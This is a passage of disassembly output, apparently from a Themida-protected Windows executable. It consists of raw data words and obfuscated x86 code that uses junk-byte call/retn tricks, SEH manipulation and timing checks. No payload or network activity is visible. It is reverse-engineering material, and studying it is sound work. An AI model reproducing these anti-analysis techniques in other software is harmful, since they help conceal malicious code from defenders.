0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0DF98E090h, 1ADF8156h, 5F6F4756h dd 0D21D9768h, 66525075h, 0FE216BFh, 6E931h, 6E1C0000h dd 1D1370E4h, 3481585Ah, 0CD1E6824h, 2DBD8B75h, 0FF06A80Eh dd 0A8074195h, 5F7BBF06h, 858954CAh, 6ABA227h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h, 98D89F8h dd 0E906A81Ah, 1E4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0E2C35141h, 9D1F4D19h, 858B6E93h, 6ABA21Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 66C35242h dd 28DE245Eh, 0C7DA8BF1h, 1800h, 0C9BD8B00h, 8B06A820h dd 0ABA223B5h, 799D8B06h, 8B06A82Dh, 0A82B7D85h, 6E806h dd 5A2D0000h, 2BA5FB6Ah, 6606895Fh, 0EE8DE8Bh, 12000000h dd 0DFE6B63Ah, 378D19A2h, 7A2EA2F2h, 850F31h, 5B000000h dd 0BE1858Bh, 850106A8h, 6A81C19h, 0E9044689h, 0Ah, 0DFDFF93Fh dd 7DD447A5h, 505047DEh, 52505152h, 585A310Fh, 50310F5Fh dd 0F5B5052h, 5A616031h, 89585A58h, 0BD892434h, 6A81B6Dh dd 0A21FB5FFh, 6A06ABh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0F4660C3h, 381h, 0FABF0F00h, 0FB93268h dd 7EBF669Ah, 2404811Ch, 660F4ACDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0DBC35747h, 2617A52Fh, 0CE891h dd 0A5D60000h, 82013818h, 99C63DE7h, 0BD0BF1DBh, 6A801A5h dd 27858D5Bh, 6A06ABA2h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 71F4C355h, 8BF8BF0Fh dd 0A805899Dh, 8D896006h, 6A80AADh, 14E85061h, 26000000h dd 0A2EAE259h, 0C6C8CF36h, 408E2FBEh, 0CB113DE8h, 0B779C1B7h dd 4895F55h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 918D89A0h, 8906A82Bh, 0A82139BDh dd 4195FF06h, 8106A807h, 642628EFh, 8A0F603Dh, 6, 1A39B58Bh dd 816606A8h, 61C819C7h, 8DBD0161h, 0C706A827h, 0A80BBD85h dd 306h, 0BD8B6000h, 6A807B9h, 226D9589h, 836106A8h, 0ABA227BDh dd 840F0006h, 62h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0D6C35141h, 0F509C053h, 7EE0BBAFh, 52E91367h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 7884C352h, 17E1BD29h, 0FE906A8h dd 75000000h, 2D35B1B1h, 2366A036h, 1E017CBDh, 3050FB76h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 43CBEDCEh, 0BF6652DDh, 835FFE74h dd 0A80BBDBDh, 850F0306h, 350h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0FCC35747h, 0BD70EE92h, 0F50BB07Bh dd 0B4E9EF81h, 0BD8356B8h, 6ABA227h, 19840F00h, 8B000003h dd 0A8342DBDh, 27B5FF06h, 0B306ABA2h, 0F995FFD2h, 6A06A815h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0B64EC356h, 3193BFD2h, 0B58B189Dh, 6ABA21Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 47C35747h dd 0E2C11ED2h, 0F3E0B1C2h, 106C7E4h, 6A000100h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 59BEC352h, 50DA8B4Ah, 3489DA8Bh, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BB6692B3h dd 0B5FFE06Ch, 6ABA227h, 0CE9h, 25E91B00h, 890E7BFh, 0C168BDF7h dd 9995FF84h, 6A06A821h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 59E3C350h, 2E0ED305h dd 686069CEh, 305DBD89h, 858906A8h, 6A8227Dh, 0A21BB58Bh dd 820F06ABh, 0 ; --------------------------------------------------------------------------- mov eax, [ebp+6A80E41h] jz loc_58F875 push edi mov di, bx pop edi loc_58F875: ; CODE XREF: Themida_:0058F86Aj mov [esi+0C4h], eax push 0 push ecx call sub_58F886 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F886 proc near ; CODE XREF: Themida_:0058F87Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_58F886 endp ; --------------------------------------------------------------------------- dw 0BB0Fh ; --------------------------------------------------------------------------- scasd scasd dec edi cmp eax, 5B9958Bh test al, 6 mov di, 0BD7h add edx, 4 push 0 push eax call sub_58F8B4 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F8B4 proc near ; CODE XREF: Themida_:0058F8ACp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_58F8B4 endp ; --------------------------------------------------------------------------- sbb [edx+239DAF6Ch], ecx mov bh, ah mov [eax+20h], edx push edx mov bx, 0D24Ch pop edi lea eax, [ebp+6ABB7CEh] push 0 push ecx call sub_58F8E6 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F8E6 proc near ; CODE XREF: Themida_:0058F8DEp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_58F8E6 endp ; --------------------------------------------------------------------------- push edx fcomp dword ptr [ecx-64h] adc [eax+ecx*8+75h], esi mov di, cx mov [esi+0B8h], eax xor ebx, [ebp+6A81D9Dh] push 0 mov [ebp+6A82CE1h], edi push dword ptr [ebp+6ABA227h] mov [ebp+6A80F65h], esi call dword ptr [ebp+6A81E1Dh] mov ebx, [ebp+6A815ADh] push eax mov [esp], esi push dword ptr [ebp+6ABA227h] push 0 push ebp call sub_58F942 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F942 proc near ; CODE XREF: Themida_:0058F93Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_58F942 endp ; --------------------------------------------------------------------------- popf sub [ebp+6A81659h], ecx call dword ptr [ebp+6A82A69h] and ebx, [ebp+6A80FE1h] cmp dword ptr [ebp+6A82E3Dh], 0 jz loc_58F9E1 push 0 push eax call sub_58F97D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F97D proc near ; CODE XREF: Themida_:0058F975p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_58F97D endp ; --------------------------------------------------------------------------- db 91h, 0A7h, 0FDh dd 0DA8B6671h, 5DA7BF66h, 11E850h, 480F0000h, 98A22C77h dd 284ED31h, 65BF33BEh, 0FE83FDEh, 0A8Eh, 5E900h, 0D44E0000h dd 5F65A4EAh, 6A243489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0B746C351h ; --------------------------------------------------------------------------- push edx loc_58F9E1: ; CODE XREF: Themida_:0058F96Cj push dword ptr [ebp+6ABA227h] mov edi, ecx call dword ptr [ebp+6A83185h] mov [ebp+6A816C5h], ebx push dword ptr [ebp+6ABA227h] mov [ebp+6A80ADDh], esi call dword ptr [ebp+6A80F55h] mov bx, 5A3Eh cmp dword ptr [ebp+6A8077Dh], 2 jz loc_58FA45 mov edi, [ebp+6A8256Dh] mov eax, [ebp+6A80D19h] mov di, 0E313h jmp loc_58FA40 ; --------------------------------------------------------------------------- db 93h ; --------------------------------------------------------------------------- loc_58FA2E: ; CODE XREF: Themida_:loc_58FA2Ej jno short loc_58FA2E lahf xchg eax, ebp adc al, 0D2h popa icebp scasb ; --------------------------------------------------------------------------- dd 8AC03EFEh, 3487B6FDh ; --------------------------------------------------------------------------- loc_58FA40: ; CODE XREF: Themida_:0058FA28j mov byte ptr [eax], 0 mov ebx, edi loc_58FA45: ; CODE XREF: Themida_:0058FA12j mov dword ptr [ebp+6A80DC1h], 0 push 0 push edx call sub_58FA5A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FA5A proc near ; CODE XREF: Themida_:0058FA52p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_58FA5A endp ; --------------------------------------------------------------------------- dw 0BE5Ah dd 2012AF5Bh, 0F4904350h, 0FFF44EE9h, 7DBD2BFFh, 8B06A80Fh dd 0FE8C1h, 9E4F0000h, 69AE62CAh, 85FA1500h, 9744C967h dd 95BD03FCh, 5F06A817h, 3385858Dh, 6A06A8h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C1B7CBC3h dd 0DA160879h, 8A90CAF4h, 40BF90DCh, 5063302Ch, 0CB1FE7BFh dd 17BB904Eh, 6A620693h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 6AF837h, 62A1858Dh, 6A06ACh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 900E1DC3h, 2668DCE9h, 6C2ABB9Ch, 0C0830CB3h, 7E99005h dd 22000000h, 9A245ABFh, 535086F3h, 0A9B9BF66h, 6A905Fh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0F3B818C3h, 6AB9943Ch, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 335287B4h dd 0A806C1BDh, 78DF8006h, 0BB66006Ah, 95FF30C6h, 6A82541h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 13C35141h dd 8D8D1FA7h, 6AB8C7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 6C35747h, 5DC1B3B2h, 6E9C6BDh, 0A3000000h dd 3603DDF4h, 6AD1FF2Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 2803C353h, 0CE92ABCh dd 0F5000000h, 757F4CDh, 933C80D1h, 0F526C7Fh, 386h, 0D88B6600h dd 339DBD83h, 0F0106A8h, 7D85h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0B70F6ADDh dd 6ADF8BDAh, 3DBD8B02h, 9006A833h, 8E860h, 44900000h dd 8C6CA16Ch, 5F521A9Ch, 5050615Bh, 52310F52h, 5BD98B66h dd 5690585Ah, 14959D89h, 0FF5B06A8h, 0A81E1D95h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 7B9010C8h, 33159D8Bh, 0CE906A8h, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6AC62ABh push 0 push esi call sub_58FCCA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FCCA proc near ; CODE XREF: Themida_:0058FCC2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_58FCCA endp ; --------------------------------------------------------------------------- dw 0ED3Dh dd 8E9B8h, 0D92E0000h, 3A80DFD4h, 6AED3Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 742186C3h dd 860F5258h, 6, 3019BD8Bh, 8D5F06A8h, 0AB7E2E85h, 8B6CB706h dd 0A803019Dh, 51509006h, 6212BF66h, 6A905Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 9A631C3h dd 35FF6463h, 0 ; --------------------------------------------------------------------------- mov large fs:0, esp push 0 push ebp call sub_58FD66 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FD66 proc near ; CODE XREF: Themida_:0058FD5Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_58FD66 endp ; --------------------------------------------------------------------------- dw 1A3Eh ; --------------------------------------------------------------------------- inc esi dec ecx and al, 89h mov ch, 0F5h push gs push es inc dword ptr [ebp+6A833F1h] push 0FFFFFFFFh push 0 push esi call sub_58FD94 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FD94 proc near ; CODE XREF: Themida_:0058FD8Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_58FD94 endp ; --------------------------------------------------------------------------- dd 0FFFB9A9Ch, 0A80E01B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0D7BEBEC7h dd 860F77EFh, 5, 1BCD51BBh, 7D95FF70h, 0E906A82Ah, 0FEh dd 9D8B00B0h, 6A814E1h, 71E470E6h, 830F613Ch, 0EAh, 9B19D8Bh dd 0B60F06A8h, 0D98529C8h, 0BA06A831h, 6, 5DE78166h, 66C18B23h dd 243DF81h, 8104E8C1h, 0D9690AE3h, 0BB665164h, 665F97DFh dd 9589E2F7h, 6A8005Dh, 0B589C82Bh, 6A82B91h, 8166D18Bh dd 0E924CCD3h, 7, 6EB2436Ah, 0E90492A2h, 6, 23BB6653h dd 858B5FFBh, 6A80149h, 2EED8D89h, 0E38006A8h, 7C0838Bh dd 29D99589h, 0C08306A8h, 0DABF0F00h, 830FD03Bh, 1Ch, 2DA59D8Bh dd 5BE906A8h, 0E9000000h, 9, 0E44508DEh, 4CD568C1h, 0F9B70FECh dd 9418D8Bh, 890F06A8h, 3, 83FB8B66h, 840F01E1h, 32h, 10E9h dd 30A45700h, 92D50E48h, 8ADEF66Dh, 2620980Bh, 41A58344h dd 0FE06A809h, 797EE381h, 958949DCh, 6A80149h, 0BF0FC1B7h dd 0E9DAh, 0B58D0000h, 6ABDCA8h, 14E9h, 8176B400h, 67EEF362h dd 7663E2A8h, 0B158E376h, 7877B49Eh, 6A006AA1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 6ED2C357h, 14E95E82h, 0A4000000h, 47B3B858h, 841A64C2h dd 479BFF41h, 3F91C7BAh, 0FFE95E65h, 0A81B3195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 9D8B4489h, 6A81AADh, 874B9h, 2DBD8B00h, 8306A809h, 6AFCE1h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 51A426C3h, 0BE9h, 7BA58B00h, 0D2A77098h, 380F4C3Eh dd 0B8F8FCh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0C91CC350h, 0A99D8B73h dd 0BA06A81Ah, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_58FFDB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FFDB proc near ; CODE XREF: Themida_:0058FFD3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_58FFDB endp ; --------------------------------------------------------------------------- db 27h dd 892C2AB2h, 0A820C18Dh, 0C233AD06h, 0D003E8D1h, 7504E983h dd 56006AF4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0FE96369h, 69000000h, 0F9E7CE84h, 0BC11F4F7h dd 6864C8FDh, 0AE830FEh, 3E000000h, 0AFDE55DDh, 0AC8C1C9Fh dd 0DF8B66B0h, 880D5Bh, 8F0F0000h, 3, 8BDE8B66h, 0A805B995h dd 8E906h, 30460000h, 0A7FCBABAh, 8D8BF5FEh, 6A81469h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CAC35343h dd 506B88DBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 759D0958h, 6606A801h, 6A10B6BFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8912C357h dd 0A81755BDh, 14E806h, 0D8570000h, 0FD047864h, 5F634140h dd 26A6044Bh, 39180C72h, 0B5016988h, 6A81DBDh, 91BD835Fh dd 6A80Ch, 52840Fh, 0F98A0000h, 0B8h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 8D8D104Ch, 6A84FAFh, 5E9h, 0E57ABA00h, 0E1FF5A5Ch, 14E8h dd 0FAF6E100h, 0C1CAA718h, 0E3548796h, 3A9D84F6h, 0B26D96B7h dd 5FF88BE8h, 0BBDBD83h, 0F0006A8h, 3F884h, 0DE8B6600h dd 0BBDBD83h, 0F0106A8h, 40384h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0B3AE4CAFh dd 0E1C5E5FDh, 0BDBD83F9h, 306A80Bh, 39C860Fh, 9D230000h dd 6A82259h, 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 13564A30h, 99D8BABh, 8906A810h, 0A8199185h dd 0D98C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0AAC35242h, 0C1D43BB9h, 8951FB78h, 0A82B499Dh dd 0E1805B06h, 0DBB6604h, 0FC90A49h, 0FF84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BD895C5Ch, 6A82FEDh, 858BFA8Bh, 6A80BE1h, 0F859D2Bh dd 853306A8h, 6A81D5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 1AC35141h, 49B529FDh, 5006A81Dh, 48993B7h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 25C2DABh, 0B1E75626h, 6AF98B66h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0AE5A6998h, 0D8B70F51h, 68D8B70Fh, 0E557D728h, 51535250h dd 310F5B5Fh, 32B96660h, 616160E3h, 481585Ah, 0C72CD724h dd 0FE9F91Ah, 0B0000000h, 0C1C350A0h, 0E674D74Dh, 1AF641BDh dd 95FF170Eh, 6A80741h, 0C19D2BF5h, 8906A807h, 0ABA22785h dd 1EAE906h, 95890000h, 6A80C29h, 0A21F858Bh, 6A06ABh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0A3735BC3h, 0E71FD7EEh, 0C7F98Bh, 18h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 97C35141h, 5B7D6B0Ah dd 0F9BF8FE4h, 664FDEDFh, 8B3DC7BFh, 0ABA223B5h, 7D858B06h dd 6A06A82Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 42D3C355h, 8C7AABAAh, 363211B2h dd 2AE5BD8Bh, 68906A8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 8C35747h, 0C8E4465Fh, 810F5F50h, 6, 399D31h dd 858B06A8h, 6A80BE1h, 7E9h, 7D100B00h, 0CB72FFA2h, 6A044689h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 12A2C357h, 0B0E8ED5h, 0A820019Dh, 0CE95006h dd 40000000h, 0B4D8C74Bh, 0C1D73059h, 892AE219h, 8B562434h dd 0A81461BDh, 0B5FF5F06h, 6ABA21Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 5AC35646h, 0AE7FC503h, 0BF0F07DCh dd 927368DBh, 9E93E57h, 3000000h, 88A82DFFh, 92654B8Eh dd 8C243481h, 6A3E4891h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 3137C357h, 8D39F192h dd 0ABA22785h, 0F9952906h, 9006A807h, 48D0F50h, 66000000h dd 904028BFh, 14E8h, 0F8601900h, 63621142h, 66E304F6h dd 201A48BCh, 9EFF1E48h, 0D381663Ah, 0FF5B133Dh, 0A8074195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 4F03844Ch, 0BD8BEF01h, 6A80785h, 0BD85C761h dd 306A80Bh, 0E9000000h, 8, 45FAD526h, 0CEC1521Eh, 0A227BD83h dd 0F0006ABh, 2584h, 0EE800h, 15D00000h, 0A90BE10Ah, 0D7CD561Ch dd 0B5B131F4h, 717D381h, 0E95F0D7Dh, 21h, 2FB9BD8Bh, 305006A8h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 6A019A62h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0BEE6C351h, 0B780124Fh dd 3840Fh, 0E7800000h, 0BD83FCABh, 6A80BBDh, 9C850F03h dd 66000003h, 83C36FBBh, 0ABA227BDh, 840F0006h, 38Bh, 0E03FF781h dd 0B5FF6BB4h, 6ABA227h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 85C35747h, 6B829D9Ch, 0BFFA8B35h, 3696A363h dd 95FFDE8Bh, 6A815F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 67C35343h, 0D98AD4AEh, 8501ECE8h, 6A820D9h dd 0A21BB58Bh, 9D8906ABh, 6A81771h, 106C7h, 6A0001h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0BE4649C3h, 73687FAFh, 5096C69Eh, 58F0Fh, 0CBBF0000h dd 965E1019h, 0E8F9B70Fh, 0Dh, 0E0373B52h, 0AC450039h dd 0AB6F729Bh, 0CDBD8949h, 5F06A815h, 0A227B5FFh, 95FF06ABh dd 6A82199h, 8BF9B70Fh, 0ABA21BB5h, 41858B06h, 6A06A80Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0DF8EC356h, 53815C9Ah, 1EF19D8Bh, 895F06A8h dd 0A819B595h, 0C4868906h, 0F000000h, 0B82h, 5840F00h dd 0BB000000h, 43927D4Bh, 5B9958Bh, 6A06A8h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BBBEC3h dd 5CFEDCB7h, 3810F53h, 66000000h, 835BF98Bh, 6A04C2h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 89208FC3h, 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 456347C3h, 0D8D8960h, 0E806A82Ah dd 13h, 0A1BAD141h, 0FCC62632h, 0DFAB1533h, 71FDA791h dd 58CF8BA0h, 0CE858D61h, 6A06ABB7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BA89C355h dd 86893C29h, 0B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 44C35343h dd 3F35FB5Ah, 0BB661539h, 9D8B850Bh, 6A819C5h, 8509006Ah dd 6A81F5Dh, 0A227B5FFh, 8B6606ABh, 1D95FFFEh, 6A06A81Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0CF1BC357h, 5096A0E7h, 0FE9h, 0AAE4500h dd 35B5472Ch, 3E269AC9h, 7F8229B8h, 27B5FF96h, 6606ABA2h dd 95FFFE8Bh, 6A82A69h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 55C35040h, 3DBD83C0h, 6A82Eh, 33840Fh dd 81660000h, 8AB956F7h, 77BB50DCh, 89199CBFh, 6A2434h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0AC80E1C3h, 0DAA5C844h, 27B5FFA1h, 6A06ABA2h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 3941C357h, 81FEB4F7h, 0B34947EFh, 8595FF39h, 6A06A831h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 69F1C352h, 9E991h, 56E30000h, 0DA19897Ah dd 568B6E6Dh, 27B5FF5Fh, 8B06ABA2h, 0A819B9BDh, 5595FF06h dd 6606A80Fh, 0BD83D88Bh, 6A8077Dh, 36840F02h, 9000000h dd 0A82C7D85h, 0B9BD8906h, 8B06A80Fh, 0A80D1985h, 0C606h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C7C35141h dd 8AD66222h, 0C185C7B3h, 6A80Dh, 0E9000000h, 0FFFFF40Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0AFC35646h dd 382C5ACh, 0A0043D6Dh, 6AC18B24h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8DBFC351h dd 0A8338585h, 0BF0F6006h, 0F9858BC1h, 6106A806h, 0DE990h dd 6860000h, 492C3486h, 9980A12h, 50C9DABDh, 69BD8990h dd 6A06A80Ah, 0A6B35700h, 6A006A5Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 9A6AC350h dd 2CD6ECF9h, 7169858Dh, 6A06ACh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 83F9E2C3h, 0F98A05C0h dd 0D2BF6650h, 2404898Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 56C35747h, 8D9D8B54h, 6A06A80Ch, 5BF85300h dd 0F2D28060h, 6A617AB0h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 8ED747EEh dd 0EB812738h, 1C674198h, 254195FFh, 6A06A8h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0C100D5C3h dd 0D51E7EECh, 0B2E42EBFh, 7F8D8D3Ah, 6606AB8Ch, 0D1FFDF8Bh dd 32419589h, 0BD8306A8h, 6A8339Dh, 8F850F01h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0EAB5C356h, 0BFB9CBBh, 0A82DA19Dh, 399D8906h dd 8906A816h, 0A81489B5h, 6A026A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 54BC355h dd 89202C3Dh, 0A831D18Dh, 0BB669006h, 0E850F8B8h, 0Fh dd 0D34B4CBAh, 661D5B34h, 9D7D0D46h, 0B37FD4B9h, 52905F25h dd 1425BD03h, 0FF5F06A8h, 0A81E1D95h, 0FFBF0F06h, 0DED2EF81h dd 93E94634h, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6AC7173h push 0 push edi call sub_590B92 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590B92 proc near ; CODE XREF: Themida_:00590B8Ap ; Themida_:00590BE0j arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_590B92 endp ; --------------------------------------------------------------------------- les edi, ds:0B13CBE55h ficom dword ptr ds:8166AC4Ch retf ; --------------------------------------------------------------------------- or bl, [eax] add [ebp+6A81019h], ecx add edi, [ebp+6A82665h] mov ebx, ecx lea eax, [ebp+6AB7E2Eh] push 0 push ecx call sub_590BD0 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590BD0 proc near ; CODE XREF: Themida_:00590BC8p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_590BD0 endp ; --------------------------------------------------------------------------- jns short sub_590B92 stc cli sub [ebp+6A817D5h], ecx mov ebx, [ebp+6A826CDh] push eax push esi jg loc_590BFA mov bh, 65h loc_590BFA: ; CODE XREF: Themida_:00590BF2j pop ebx mov [esp], eax push 0 push eax call sub_590C09 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590C09 proc near ; CODE XREF: Themida_:00590C01p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_590C09 endp ; --------------------------------------------------------------------------- db 70h, 82h, 66h ; --------------------------------------------------------------------------- mov ebx, esi push large dword ptr fs:0 jnp $+6 mov large fs:0, esp push 0 push esi call sub_590C3D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590C3D proc near ; CODE XREF: Themida_:00590C35p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_590C3D endp ; --------------------------------------------------------------------------- db 0ECh, 0FFh, 85h ; 